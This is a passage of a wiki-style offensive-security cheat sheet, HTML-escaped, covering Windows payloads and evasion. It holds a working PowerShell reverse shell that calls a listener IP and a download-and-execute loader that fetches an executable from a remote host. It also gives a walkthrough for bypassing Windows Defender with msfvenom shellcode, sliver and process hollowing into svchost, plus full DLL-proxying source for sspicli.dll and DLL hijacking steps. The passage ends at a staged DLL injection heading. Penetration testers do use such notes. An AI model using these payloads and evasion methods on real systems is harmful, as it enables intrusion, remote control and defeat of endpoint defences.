$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
